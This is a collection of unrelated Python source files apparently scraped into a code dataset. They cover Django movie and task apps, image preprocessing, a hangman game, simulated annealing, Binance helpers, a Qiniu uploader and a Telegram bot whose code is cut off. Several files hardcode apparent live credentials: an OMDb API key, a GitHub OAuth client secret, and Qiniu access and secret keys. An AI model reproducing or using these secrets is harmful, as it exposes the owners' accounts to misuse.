request.GET.get('q')\r\n\r\n if query:\r\n url = 'http://www.omdbapi.com/?apikey=682238fb&s=' + query\r\n response = requests.get(url)\r\n movie_data = response.json()\r\n\r\n context = {\r\n 'query':query,\r\n 'movie_data':movie_data,\r\n 'page_number': 1\r\n }\r\n\r\n template = loader.get_template('search-resault.html')\r\n\r\n return HttpResponse(template.render(context,request))\r\n return render(request,'index.html')\r\n\r\ndef paginate(request,query,page_number):\r\n url = 'http://www.omdbapi.com/?apikey=682238fb&s=' + query +'&page='+ str(page_number)\r\n response = requests.get(url)\r\n movie_data = response.json()\r\n page_number = int(page_number) +1\r\n\r\n context = {\r\n 'query':query,\r\n 'movie_data':movie_data,\r\n 'page_number':page_number\r\n }\r\n template = loader.get_template('search-resault.html')\r\n\r\n return HttpResponse(template.render(context,request)) \r\n\r\ndef movieDetails(request,imdb_id):\r\n\r\n if Movie.objects.filter(imdbID = imdb_id).exists():\r\n movie_data = Movie.objects.get(imdbID = imdb_id)\r\n our_db = True\r\n context = {\r\n\t\t\t'movie_data': movie_data,\r\n\t\t\t'our_db': our_db,\r\n\t\t}\r\n else:\r\n url = 'http://www.omdbapi.com/?apikey=682238fb&i=' + imdb_id\r\n response = requests.get(url)\r\n movie_data = response.json()\r\n\r\n #inject to our Database bellow\r\n rating_objs = []\r\n genre_objs = []\r\n actor_objs = []\r\n\r\n\r\n # For the Actors\r\n actor_list= [x.strip() for x in movie_data['Actors'].split(',')]\r\n\r\n for actor in actor_list:\r\n a,created =Actor.objects.get_or_create(name=actor)\r\n actor_objs.append(a)\r\n\r\n\r\n # For the Genre and categories\r\n genre_list = list(movie_data['Genre'].replace(\" \", \"\").split(\",\"))\r\n\r\n for genre in genre_list:\r\n genre_slug = slugify(genre)\r\n g, created = Genre.objects.get_or_create(title=genre,slug=genre_slug)\r\n genre_objs.append(g)\r\n\r\n\r\n # For the Rating\r\n\r\n for rate in movie_data['Ratings']:\r\n r, created = Rating.objects.get_or_create(source=rate['Source'],rating=rate['Value'])\r\n rating_objs.append(r)\r\n\r\n\r\n if movie_data['Type'] == 'movie':\r\n m, created = Movie.objects.get_or_create(\r\n Title=movie_data['Title'],\r\n\t\t\t\tYear=movie_data['Year'],\r\n\t\t\t\tRated=movie_data['Rated'],\r\n\t\t\t\tReleased=movie_data['Released'],\r\n\t\t\t\tRuntime=movie_data['Runtime'],\r\n\t\t\t\tDirector=movie_data['Director'],\r\n\t\t\t\tWriter=movie_data['Writer'],\r\n\t\t\t\tPlot=movie_data['Plot'],\r\n\t\t\t\tLanguage=movie_data['Language'],\r\n\t\t\t\tCountry=movie_data['Country'],\r\n\t\t\t\tAwards=movie_data['Awards'],\r\n\t\t\t\tPoster_url=movie_data['Poster'],\r\n\t\t\t\tMetascore=movie_data['Metascore'],\r\n\t\t\t\timdbRating=movie_data['imdbRating'],\r\n\t\t\t\timdbVotes=movie_data['imdbVotes'],\r\n\t\t\t\timdbID=movie_data['imdbID'],\r\n\t\t\t\tType=movie_data['Type'],\r\n\t\t\t\tDVD=movie_data['DVD'],\r\n\t\t\t\tBoxOffice=movie_data['BoxOffice'],\r\n\t\t\t\tProduction=movie_data['Production'],\r\n\t\t\t\tWebsite=movie_data['Website'],\r\n )\r\n m.Genre.set(genre_objs) \r\n m.Actors.set(actor_objs) \r\n m.Ratings.set(rating_objs) \r\n else:\r\n m, created = Movie.objects.get_or_create(\r\n Title=movie_data['Title'],\r\n\t\t\t\tYear=movie_data['Year'],\r\n\t\t\t\tRated=movie_data['Rated'],\r\n\t\t\t\tReleased=movie_data['Released'],\r\n\t\t\t\tRuntime=movie_data['Runtime'],\r\n\t\t\t\tDirector=movie_data['Director'],\r\n\t\t\t\tWriter=movie_data['Writer'],\r\n\t\t\t\tPlot=movie_data['Plot'],\r\n\t\t\t\tLanguage=movie_data['Language'],\r\n\t\t\t\tCountry=movie_data['Country'],\r\n\t\t\t\tAwards=movie_data['Awards'],\r\n\t\t\t\tPoster_url=movie_data['Poster'],\r\n\t\t\t\tMetascore=movie_data['Metascore'],\r\n\t\t\t\timdbRating=movie_data['imdbRating'],\r\n\t\t\t\timdbVotes=movie_data['imdbVotes'],\r\n\t\t\t\timdbID=movie_data['imdbID'],\r\n\t\t\t\tType=movie_data['Type'],\r\n\t\t\t\ttotalSeasons=movie_data['totalSeasons'],\r\n \r\n )\r\n m.Genre.set(genre_objs) \r\n m.Actors.set(actor_objs) \r\n m.Ratings.set(rating_objs) \r\n\r\n for actor in actor_objs:\r\n actor.movies.add(m)\r\n actor.save()\r\n\r\n m.save()\r\n our_db=False\r\n\r\n context={\r\n 'movie_data':movie_data,\r\n 'our_db':our_db\r\n } \r\n template = loader.get_template('movie-details.html')\r\n\r\n return HttpResponse(template.render(context,request)) \r\n\r\n\r\ndef genres(request,genre_slug):\r\n genre = get_object_or_404(Genre,slug=genre_slug)\r\n movies = Movie.objects.filter(Genre=genre)\r\n\r\n #pagination\r\n paginator = Paginator(movies,9)\r\n page_number = request.GET.get(\"page\")\r\n movie_data = paginator.get_page(page_number)\r\n context={\r\n 'movie_data':movie_data , \r\n 'genre':genre\r\n }\r\n template = loader.get_template('genre.html')\r\n\r\n return HttpResponse(template.render(context,request))\r\n\r\n","sub_path":"movie/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"137917727","text":"from rest_framework import generics\nfrom .serializers import KothaModelSerializer\nfrom kotha.models import Kotha\nfrom django.db.models import Q\nfrom django.urls import reverse_lazy\nfrom rest_framework import permissions\nfrom .pagination import StandardResultsPagination\n\n\nclass KothaCreateAPIView(generics.CreateAPIView):\n serializer_class = KothaModelSerializer\n permission_classes = (permissions.IsAuthenticated,)\n queryset = Kotha.objects.all().order_by('-updated')\n\n def perform_create(self, serializer):\n serializer.save(user=self.request.user)\n\n\nclass KothaListAPIView(generics.ListAPIView):\n serializer_class = KothaModelSerializer\n pagination_class = StandardResultsPagination\n\n def get_queryset(self, *args, **kwargs):\n im_following = self.request.user.profile.get_following()\n qs1 = Kotha.objects.filter(user__in=im_following)\n qs2 = Kotha.objects.filter(user=self.request.user)\n qs = ( qs1 | qs2 ).distinct().order_by('-updated')\n query = self.request.GET.get(\"q\", None)\n print(self.request.GET)\n \n if query is not None:\n qs = qs.filter(\n Q(content__icontains=query) |\n Q(user__username__icontains=query)\n )\n \n return qs","sub_path":"kotha/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"321169091","text":"import obraz,re\n\ndef process_relativize(basedir, destdir, site):\n\t\"\"\"Relativize URLs\"\"\"\n\n\tfor page in site.get('pages', []):\n\t\trelpath = ''\n\t\tdistance = page['url'].count('/') - 1\n\t\tfor step in range(distance):\n\t\t\trelpath += '../'\n\t\tpage['relpath'] = relpath\n\nobraz.processors.insert(0, process_relativize)\n\ndef regex_replace(s, arg):\n\t\"\"\"A non-optimal implementation of a regex filter\"\"\"\n\tif arg == \"\":\n\t\targ=\"./\"\n\tfind = \"(href|src)=[\\\"']/(?!/)([^\\\"']*)[\\\"']\"\n\treplace = '\\\\1=\"'+arg+'\\\\2\"'\n\treturn re.sub(find, replace, s)\n\nobraz.template_filters['regex'] = regex_replace","sub_path":"relativize.py","file_name":"relativize.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"85199899","text":"\"\"\"\n A python class to process all the images within a folder\n it process the images by turning them into a numpy array \n which can be used for analysis in a machine learning algorithm\n\n @author Ian Gomez imgomez0127@github\n\"\"\"\n#Python Base Libraries\nimport json\nimport os\nimport os.path\nimport re\n#Installed Libraries\nimport numpy as np\nfrom PIL import Image\nfrom tensorflow import one_hot,convert_to_tensor\nclass ImageProcessor(object):\n \"\"\"\n Args:\n folderPath(str): A string to the folder path that images will \n be pulled from\n \"\"\" \n\n @staticmethod\n def toImageTensor(image):\n return convert_to_tensor(np.asarray(image,dtype=\"float64\"))\n\n def __init__(self,folderPath = \"./Screenshots\"):\n if(os.path.isdir(folderPath)):\n self.__folderPath = folderPath\n else:\n errMessage = \"The input path is not a valid path folder path\"\n raise NotADirectoryError(errMessage) \n self.__processedImages = None\n self.__imageClasses = None\n\n @property\n def folderPath(self):\n #folder path to process images from\n return self.__folderPath\n\n @folderPath.setter\n def folderPath(self,newPath):\n self.__folderPath = newPath\n\n @property\n def processedImages(self): \n #A list of processed images\n return self.__processdImages\n\n @processedImages.setter\n def processedImages(self,newImageLst):\n self.__processedImages = newImageLst\n\n @property\n def imageClasses(self):\n return self.__imageClasses\n \n def __folderImagesToTensor(self,imagePath):\n \"\"\"\n Args:\n imagePath(str): The path to the image that \n is to be converted to a numpy array\n Returns:\n imArr(np.array[float64]): Array of matrix representation of images\n This function takes in a path to an image and returns the a \n numpy array for that image\n \"\"\"\n im = Image.open(imagePath)\n imArr = convert_to_tensor(np.asarray(im,dtype=\"float64\"))\n im.close()\n return imArr \n\n def __filterImages(self,fileLst): \n image_regex = re.compile(\"jpg|png\")\n image_lst = []\n for file_name in fileLst:\n if(image_regex.search(file_name)):\n image_lst.append(file_name)\n return image_lst\n \n def processFolderImages(self):\n \"\"\"\n This function selects the folderPath memeber variable and \n turns all images in that file into a numpy array which is storred\n in the member variable processedImages\n \"\"\" \n imageLst = self.__filterImages(os.listdir(self.__folderPath))\n processedImages = []\n for imageName in imageLst:\n try:\n fullImagePath = self.__folderPath + \"/\" + imageName\n imgAsArr = self.__folderImagesToTensor(fullImagePath)\n processedImages.append(imgAsArr) \n except OSError:\n continue\n self.__processedImages = convert_to_tensor(processedImages,dtype=\"float64\")\n return self.__processedImages\n\n def classifyImages(self):\n regexPos = re.compile(\"(Pos)+\") \n imageClasses = []\n imageLst = self.__filterImages(os.listdir(self.__folderPath))\n for imageName in imageLst:\n imageClasses.append(1 if (regexPos.findall(imageName) != []) else 0)\n self.__imageClasses = convert_to_tensor(imageClasses,dtype=\"float64\")\n return self.__imageClasses\n\n def __getHighestCategoryNumber(self,imageLst):\n numberRegex = re.compile(\"[0-9]+\")\n highestCategory = float(\"-inf\")\n for imageName in imageLst:\n matchedLst = numberRegex.findall(imageName)\n if(len(matchedLst) != 2):\n message = \"File %s is not formatted in [A-Za-z]+[0-9]+[A-Za-z]+[0-9]+\"\n raise ValueError(message%imageName)\n highestCategory = max(int(matchedLst[1]),highestCategory)\n return highestCategory\n\n def classifyCategoricalImages(self):\n numberRegex = re.compile(\"[0-9]+\")\n imageLst = self.__filterImages(os.listdir(self.__folderPath))\n highestCategoryNumber = self.__getHighestCategoryNumber(imageLst)\n labels = [int(numberRegex.findall(imageName)[1]) for imageName in imageLst]\n return one_hot(labels,highestCategoryNumber+1)\n\nif __name__ == \"__main__\":\n imgProc = ImageProcessor(\"autoboxExamples\")\n print(len(os.listdir(\"autoboxExamples\")))\n print(np.shape(imgProc.processFolderImages()[0]))\n","sub_path":"ImageProcessor.py","file_name":"ImageProcessor.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"515634081","text":"import numpy as np\nfrom PIL import Image\nimport cv2\nimport skimage.color as color\nfrom convnet.util.help_functions import *\n\n\n#My pre processing (use for both training and testing!)\ndef my_PreProc(data):\n assert(len(data.shape)==4)\n assert (data.shape[1]==3) #Use the original images\n #black-white conversion\n train_imgs = color.rgb2gray(data)\n #my preprocessing:\n train_imgs = dataset_normalized(train_imgs)\n train_imgs = clahe_equalized(train_imgs)\n train_imgs = adjust_gamma(train_imgs, 1.2)\n train_imgs = train_imgs/255. #reduce to 0-1 range\n return train_imgs\n\n\ndef preproc_color(data,path_mu):\n mu = load_mean_values(path_mu)\n data = substract_mean(data,mu)\n data /= 255.\n #data = data/255.\n return data\n\n\ndef preproc_scale(data):\n\n maxR = np.max(data[:,0,...])\n maxG = np.max(data[:,1, ...])\n maxB = np.max(data[:,2, ...])\n\n minR = np.min(data[:,0,...])\n minG = np.min(data[:,1, ...])\n minB = np.min(data[:,2, ...])\n\n for im in range(data.shape[0]):\n R = data[im, 0, ...]\n G = data[im, 1, ...]\n B = data[im, 2, ...]\n\n R = (R - minR) / (maxR - minR)\n G = (G - minG) / (maxG - minG)\n B = (B - minB) / (maxB - minB)\n\n data[im, 0, ...] = R\n data[im, 1, ...] = G\n data[im, 2, ...] = B\n\n return data\n\n\n\ndef preproc_color2(data):\n\n meanR = np.mean(data[:,0,...])\n meanG = np.mean(data[:,1,...])\n meanB = np.mean(data[:,2,...])\n\n stdR = np.std(data[:,0,...])\n stdG = np.std(data[:,1, ...])\n stdB = np.std(data[:,2, ...])\n\n for im in range(data.shape[0]):\n R = data[im, 0, ...]\n G = data[im, 1, ...]\n B = data[im, 2, ...]\n\n R = (R - meanR) / stdR\n G = (G - meanG) / stdG\n B = (B - meanB) / stdB\n\n data[im, 0, ...] = R\n data[im, 1, ...] = G\n data[im, 2, ...] = B\n\n minR = np.min(data[:, 0, ...])\n minG = np.min(data[:, 1, ...])\n minB = np.min(data[:, 2, ...])\n\n maxR = np.max(data[:, 0, ...])\n maxG = np.max(data[:, 1, ...])\n maxB = np.max(data[:, 2, ...])\n\n for im in range(data.shape[0]):\n R = data[im, 0, ...]\n G = data[im, 1, ...]\n B = data[im, 2, ...]\n\n R = (R - minR) / (maxR - minR)\n G = (G - minG) / (maxG - minG)\n B = (B - minB) / (maxB - minB)\n\n data[im, 0, ...] = R\n data[im, 1, ...] = G\n data[im, 2, ...] = B\n\n return data\n\n\n#============================================================\n#========= PRE PROCESSING FUNCTIONS ========================#\n#============================================================\n\n\ndef load_mean_values(path): #mean R,G,B\n #load mean values from pre-computed mean image\n mean_img = np.load(path)\n mr = mean_img[:,:,0]\n mg = mean_img[:,:,1]\n mb = mean_img[:,:,2]\n mu = np.array([mr.mean(),mg.mean(),mb.mean()])\n return mu #mu = [uR, uG, uB]\n\ndef substract_mean(data,mu):\n # mu = mu.reshape([1,3,1,1]) #reshape mu array to fit the dataset and allow substraction\n # imgs = imgs-mu\n\n muR = mu[0]\n muG = mu[1]\n muB = mu[2]\n\n for im in range(data.shape[0]):\n R = data[im, 0, ...]\n G = data[im, 1, ...]\n B = data[im, 2, ...]\n\n R = R - muR\n G = G - muG\n B = B - muB\n\n data[im, 0, ...] = R\n data[im, 1, ...] = G\n data[im, 2, ...] = B\n\n return data\n\n\n#==== histogram equalization\ndef histo_equalized(imgs):\n assert (len(imgs.shape)==4) #4D arrays\n assert (imgs.shape[1]==1) #check the channel is 1\n imgs_equalized = np.empty(imgs.shape)\n for i in range(imgs.shape[0]):\n imgs_equalized[i,0] = cv2.equalizeHist(np.array(imgs[i,0], dtype = np.uint8))\n return imgs_equalized\n\n\n# CLAHE (Contrast Limited Adaptive Histogram Equalization)\n#adaptive histogram equalization is used. In this, image is divided into small blocks called \"tiles\" (tileSize is 8x8 by default in OpenCV). Then each of these blocks are histogram equalized as usual. So in a small area, histogram would confine to a small region (unless there is noise). If noise is there, it will be amplified. To avoid this, contrast limiting is applied. If any histogram bin is above the specified contrast limit (by default 40 in OpenCV), those pixels are clipped and distributed uniformly to other bins before applying histogram equalization. After equalization, to remove artifacts in tile borders, bilinear interpolation is applied\ndef clahe_equalized(imgs):\n assert (len(imgs.shape)==4) #4D arrays\n assert (imgs.shape[1]==1) #check the channel is 1\n #create a CLAHE object (Arguments are optional).\n clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))\n imgs_equalized = np.empty(imgs.shape)\n for i in range(imgs.shape[0]):\n imgs_equalized[i,0] = clahe.apply(np.array(imgs[i,0], dtype = np.uint8))\n return imgs_equalized\n\n\n# ===== normalize over the dataset\ndef dataset_normalized(imgs):\n assert (len(imgs.shape)==4) #4D arrays\n assert (imgs.shape[1]==1) #check the channel is 1\n imgs_normalized = np.empty(imgs.shape)\n imgs_std = np.std(imgs)\n imgs_mean = np.mean(imgs)\n imgs_normalized = (imgs-imgs_mean)/imgs_std\n for i in range(imgs.shape[0]):\n imgs_normalized[i] = ((imgs_normalized[i] - np.min(imgs_normalized[i])) / (np.max(imgs_normalized[i])-np.min(imgs_normalized[i])))*255\n return imgs_normalized\n\n\ndef adjust_gamma(imgs, gamma=1.0):\n assert (len(imgs.shape)==4) #4D arrays\n assert (imgs.shape[1]==1) #check the channel is 1\n # build a lookup table mapping the pixel values [0, 255] to\n # their adjusted gamma values\n invGamma = 1.0 / gamma\n table = np.array([((i / 255.0) ** invGamma) * 255 for i in np.arange(0, 256)]).astype(\"uint8\")\n # apply gamma correction using the lookup table\n new_imgs = np.empty(imgs.shape)\n for i in range(imgs.shape[0]):\n new_imgs[i,0] = cv2.LUT(np.array(imgs[i,0], dtype = np.uint8), table)\n return new_imgs\n","sub_path":"src/convnet/util/pre_processing.py","file_name":"pre_processing.py","file_ext":"py","file_size_in_byte":5979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"524721571","text":"from django.shortcuts import render, render_to_response, redirect\nfrom django.template import Context\n\n# Create your views here.\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom creador.models import tareasForm\nfrom django.core.urlresolvers import reverse\nfrom django.views.generic import ListView\nfrom .models import tareas\nfrom .search import tareasIndex\nfrom elasticsearch import Elasticsearch\nimport elasticsearch_dsl\nimport time\nimport requests\nimport json\n\nclass TareaList(ListView):\n model = tareas\n\ndef index(request):\n return render_to_response('index.html')\n\ndef indexregistrado(request):\n\n client_id='bd2ade5d39bb1b529fb7'\n client_secret='35b46ffbac1f02ea2ca84f44d2450fd00ffd6f40'\n codigo = request.GET.get('code')\n print(codigo)\n url = 'https://github.com/login/oauth/access_token'\n header = {'content-type':'application/json'}\n payload = {}\n payload['client_id']=client_id\n payload['client_secret']=client_secret\n payload['code']=codigo\n\n res = requests.post(\n url,\n data = json.dumps(payload),\n headers=header\n )\n \n #print(res.content)\n #j = json.dumps(res.text)\n return HttpResponse(res.content)\n# print(j)\n# token = j['token']\n# print ('New token: %s' % token)\n\ndef redirigir(request):\n return redirect('https://github.com/login/oauth/authorize?client_id=bd2ade5d39bb1b529fb7')\n\ndef lista_tareas_usuario(request):\n usuario=request.path.split('/tareas/listausuario/')\n url='https://api.github.com/users/'+usuario[1]+'/repos'\n res = requests.get(\n url,\n #data = json.dumps(payload),\n )\n #print(res.content)\n salidaaux=json.loads(res.content)#,indent=2)\n salida=json.dumps(salidaaux,indent=2)\n for x in salidaaux:\n print(x['name'])\n return HttpResponse(salida, content_type='application/json')\n \n\ndef lista_tareas(request):\n es = Elasticsearch()\n req = elasticsearch_dsl.Search(using=es, index='tareas')#, doc_type='summary')\n resp = req.execute()\n salida = json.dumps(resp.to_dict(), indent=2)\n #print(salida)\n return HttpResponse(salida, content_type='application/json')\n# req = req.source(['usuario', 'repositorio', 'estado'])\n# resp = req.scan()\n# \n# return render(request, 'tareas_list.html', {'object_list': resp})\n\ndef add_tarea(request):\n if request.method == 'POST':\n form = tareasForm(request.POST)\n if form.is_valid():\n new_tarea = form.save()\n return HttpResponseRedirect(reverse('utareas:tlist'))\n else:\n form = tareasForm()\n \n \n return render(request, 'tarea_form.html', {'form': form})\n\ndef delete_tarea(request):\n elemento=request.POST.get('delete')\n es = Elasticsearch()\n request = tareasIndex.get(id=elemento, using=es, index='tareas')\n request.delete()\n time.sleep(1)\n return HttpResponseRedirect(reverse('utareas:tlist'))\n","sub_path":"makeDashboard/creador/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"253409432","text":"import random\nimport time\nfrom termcolor import colored\n\n\nprint(\"Hello there!\")\ntime.sleep(1)\nprint(\"If you know some cities from Europe... \")\ntime.sleep(1)\nprint(colored(\"Let's play HANGMAN!\", \"green\"))\ntime.sleep(1)\n\nnamey = input(\"What's your name?: \")\n\ntime.sleep(1)\nprint( \"Hello \" + namey + \"!\\n\")\ntime.sleep(1)\nprint(\"Let's start a game!\")\ntime.sleep(1)\n\nprint(colored(\"Please guess a one name of capital cities in Europe!\", \"green\"))\n\ncities = (\"TIRANE\",\"ANDORRA\" , \"VIENNA\", \"BAKU\", \"MINSK\", \"BRUSSELS\", \"SARAJEVO\", \"SOFIA\", \"ZAGREB\", \"PRAGUE\", \n\"COPENHAGEN\", \"TALLINN\", \"HELSINKI\", \"PARIS\", \"TIBILISI\", \"BELGIA\", \"ATHENS\", \"BUDAPEST\", \"ROME\",\n\"RIGA\", \"REYKJAVIK\", \"LUXEMBURG\", \"OSLO\", \"AMSTERDAM\", \"BELFAST\", \"WARSAW\", \"LISBON\", \"MOSCOW\",\n\"EDINBURG\", \"BRATISLAVA\", \"MADRID\", \"STOCKHOLM\", \"KIEV\", \"LONDON\", \"BELGRADE\")\n\n\nletters_guessed_by_user = ''\nattemps_left = 10\ncity = random.choice(cities)\n\nprint(city)\n\nfor char in city:\n print(\"_ \", end = '' )\n\n\nhas_user_won = False\n\nwhile attemps_left > 0 and not has_user_won :\n\n print(\"\\nPlease enter a letter or word: \")\n letter = input(\"\").upper() # .upper() - print only big letters\n \n if len(letter) == 1 :\n if letter in city:\n letters_guessed_by_user += letter\n everything_is_ok = True\n \n for char in city:\n \n if char in letters_guessed_by_user:\n print(char, end = '')\n else:\n everything_is_ok = False\n print(\"_ \", end= '')\n if everything_is_ok == False:\n has_user_won = False\n else:\n has_user_won = True\n\n else: \n attemps_left -= 1\n print(\"Only\", attemps_left , \"attemps left!\")\n else:\n if letter == city:\n has_user_won = True\n \n else:\n attemps_left -= 1\n print(\"Only\", attemps_left , \"attemps left!\")\n\nif has_user_won:\n print(colored( \"You won!\", \"red\"))\n\nelse:\n print(colored(\"You lost!\", \"red\"))\n \n","sub_path":"Hangman.py","file_name":"Hangman.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"36281796","text":"import math\nimport random\nimport numpy as np\n\nfrom matplotlib import cm\nfrom mpl_toolkits.mplot3d import Axes3D\nimport pylab as plt\n#import numpy as np\n\n\ndef plot3D(sol, fitness, j):\n # Plot the surface.\n ax.cla()\n ax.view_init(30, j*10)\n surf = ax.plot_surface(Xs, Ys, Zs, cmap=cm.coolwarm,\n linewidth=1, antialiased=False, alpha=0.5)\n \n ax.scatter(sol[0], sol[1], fitness, c='r', s=50)\n plt.draw() \n plt.pause(0.00000001)\n\ndef rosenbrock (x):\n fitness = 0\n for i in range(len(x)-1):\n fitness += 100*((x[i]**2)-x[i+1])**2+(1-x[i])**2\n return fitness\n\n\ndef Vizinho (S, li, ls):\n for i in range(len(S)):\n S[i] = S[i] + random.uniform(-2, 2)\n if (S[i] < li[i]): S[i] = li[i]\n elif (S[i] > ls[i]): S[i] = ls[i]\n return S\n\ndef sa(S0, fun, li, ls, maxIter, alfa, T0):\n #inserir verificacoes de variaveis\n S = list(S0)\n T = T0\n j = 0\n\n SMelhor = list(S)\n FMelhor = fun(S)\n curvaFit = [FMelhor]\n \n plot3D(SMelhor, FMelhor, 0)\n \n while (j < maxIter):\n Si = Vizinho (S, li, ls)\n deltaFi = fun(Si) - fun(S)\n if ((deltaFi <=0 ) or (random.uniform(0, 1) < math.exp(-abs(deltaFi)/T))):\n S = list(Si)\n if (fun(S) < FMelhor):\n SMelhor = list(S)\n FMelhor = fun(S)\n curvaFit.append(FMelhor)\n# plotAG_2D(SMelhor, FMelhor, curvaFit, li, ls)\n plot3D(SMelhor, FMelhor, j)\n print (\" Iter:\", j, \" Novo melhor f(\", SMelhor, \") =\", FMelhor)\n\n T = T * alfa\n j = j + 1\n\n return {'solucao': SMelhor, 'valor': FMelhor}\n\n\n\n#generate 3d data\nXs = np.arange(-15, 15, 0.1)\nYs = np.arange(-15, 15, 0.1)\nXs, Ys = np.meshgrid(Xs, Ys)\nZs = Xs.copy()\nfor i in range(len(Xs)):\n for j in range(len(Xs[0])):\n Zs[i,j] = rosenbrock( [Xs[i,j], Ys[i,j]] )\n \nfig = plt.figure()\nax = fig.gca(projection='3d')\n\nresultado = sa([-15,15], rosenbrock, [-15, -15], [15, 15], 5000, 0.99, 50)\n\nplot3D(resultado['solucao'], resultado ['valor'], 10)\n\n\n\n","sub_path":"codes-Professor/sa_vetor_3d.py","file_name":"sa_vetor_3d.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"327284694","text":"import matplotlib.pyplot as plt\n\nclass Statistics:\n def __init__(self):\n self.client = login()\n self.balance = 0\n\ndef get_depth(client):\n # get market depth\n depth = client.get_order_book(symbol='BNBBTC')\n return depth\n\ndef get_prices(client):\n # get all symbol prices\n prices = client.get_all_tickers()\n return prices\n\ndef sort_by_price():\n price_list = sorted(get_prices(client), key=lambda k: float(k['price']), reverse=True)\n for item in price_list:\n print(item)\n \ndef get_trade_graph(client, mysymbol):\n data = client.get_klines(symbol=mysymbol, interval=Client.KLINE_INTERVAL_1MINUTE)\n time = np.zeros(len(data))\n opening = np.zeros(len(data))\n high = np.zeros(len(data))\n low = np.zeros(len(data))\n volume = np.zeros(len(data))\n index = 0\n for thing in data:\n time[index] = thing[0]/100000\n opening[index] = thing[1]\n high[index] = thing[2]\n low[index] = thing[3]\n volume[index] = thing[5]\n index += 1\n plt.plot(time,opening)\n plt.plot(time,high)\n plt.plot(time,low)\n plt.show()\n","sub_path":"statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"286148453","text":"'''\n七牛云服务器图片上传下载\n'''\nfrom qiniu import Auth, put_file\nimport requests\n\nclass QiNiuImage:\n '''\n bucketName: 七牛空间名称\n accessKey: AK密钥\n secretKey: SK密钥\n '''\n # 七牛\n qiniuBaseUrl = 'qf9fy6urv.hn-bkt.clouddn.com'\n\n def __init__(self, bucketName, accessKey, secretKey):\n self.bucketName = bucketName\n self.accessKey = accessKey\n self.secretKey = secretKey\n\n def upload_image(self, imgName, imgPath):\n '''\n imgName: 上传图片文件名\n imgPath: 上传图片文件路径\n '''\n q = Auth(self.accessKey, self.secretKey)\n token = q.upload_token(self.bucketName, imgName)\n ret, info = put_file(token, imgName, imgPath)\n if info.status_code == 200:\n return self.qiniuBaseUrl + ret.get('key')\n else:\n return False\n\n def download_image(self, url):\n response = requests.get(url)\n return response\n\nif __name__ == \"__main__\":\n pass\n # Q = QiNiuImage('lcdimg', 'khVENkO1bITYxmXsqGY0aqCuEZSNx0dXYHUMpgWn', 'owB5tbJmCyjLwnXWJ1VZmnROYsiOyndKxk-ivA0w')\n # # 上传\n # _path = Q.upload_image('测试.png', 'C:/Users/user/Desktop/测试.png')\n # print(_path)\n\n # #下载\n # response = Q.download_image('http://qf9fy6urv.hn-bkt.clouddn.com/测试.png')\n # img = response.content\n # with open('C:/Users/user/Desktop/测试111.png', 'wb') as f:\n # f.write(img)\n\n\n # # url转码\n # from urllib.parse import quote, unquote\n\n # strs = 'http://qf9fy6urv.hn-bkt.clouddn.com/%E6%B5%8B%E8%AF%95.png'\n # str1 = unquote(strs)\n # print(str1)\n # str2 = quote(str1)\n # print(str2)\n","sub_path":"app/utils/qiniu.py","file_name":"qiniu.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"359134796","text":"from six import text_type\nfrom telegram import (\n ReplyKeyboardMarkup,\n ReplyKeyboardRemove, Update,\n InlineKeyboardButton, InlineKeyboardMarkup\n)\nfrom telegram.ext import (\n CommandHandler, CallbackContext,\n ConversationHandler, MessageHandler,\n Filters, Updater, CallbackQueryHandler\n)\nfrom telegram.ext.conversationhandler import CheckUpdateType\nfrom config import (\n api_key, sender_email,\n api_secret,\n FAUNA_KEY\n)\nimport cloudinary\nfrom cloudinary.uploader import text, upload\nfrom sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail\nfrom faunadb import query as q\nfrom faunadb.client import FaunaClient\nfrom faunadb.errors import NotFound\nfrom helpers import (\n emailcheck, dispatch_mail,\n generate_link\n)\nimport os\n\n\n# configure cloudinary\ncloudinary.config(\n cloud_name=\"curiouspaul\",\n api_key=api_key,\n api_secret=api_secret\n)\n\n# fauna client config\nclient = FaunaClient(secret=FAUNA_KEY)\n\n# Define Options\nCHOOSING, CLASS_STATE, SME_DETAILS, CHOOSE_PREF, SEARCH,\\\n SME_CAT, ADD_PRODUCTS, SHOW_STOCKS, POST_VIEW_PRODUCTS = range(9)\n\n# inital options\nreply_keyboard = [\n [\n InlineKeyboardButton(\n text=\"SME\",\n callback_data=\"SME\"\n ),\n InlineKeyboardButton(\n text=\"Customer\",\n callback_data=\"Customer\"\n )\n ]\n]\nmarkup = InlineKeyboardMarkup(reply_keyboard, one_time_keyboard=True)\n\ndef start(update, context: CallbackContext) -> int:\n print(\"You called\")\n bot = context.bot\n chat_id = update.message.chat.id\n # Check if user already exists before creating new user\n try:\n _user = client.query(\n q.get(\n q.match(\n q.index(\"user_by_chat_id\"),\n chat_id\n )\n )\n )\n if _user != None:\n print(_user)\n bot.send_message(\n chat_id=chat_id,\n text=\"Hi it seems you already have an account with us!\"\n )\n # figure out what kind of user they are\n if _user['data']['is_smeowner']:\n print(\"yes\")\n # find business with user's chat_id\n sme = client.query(\n q.get(\n q.match(\n q.index(\"business_by_chat_id\"),\n chat_id\n )\n )\n )\n if 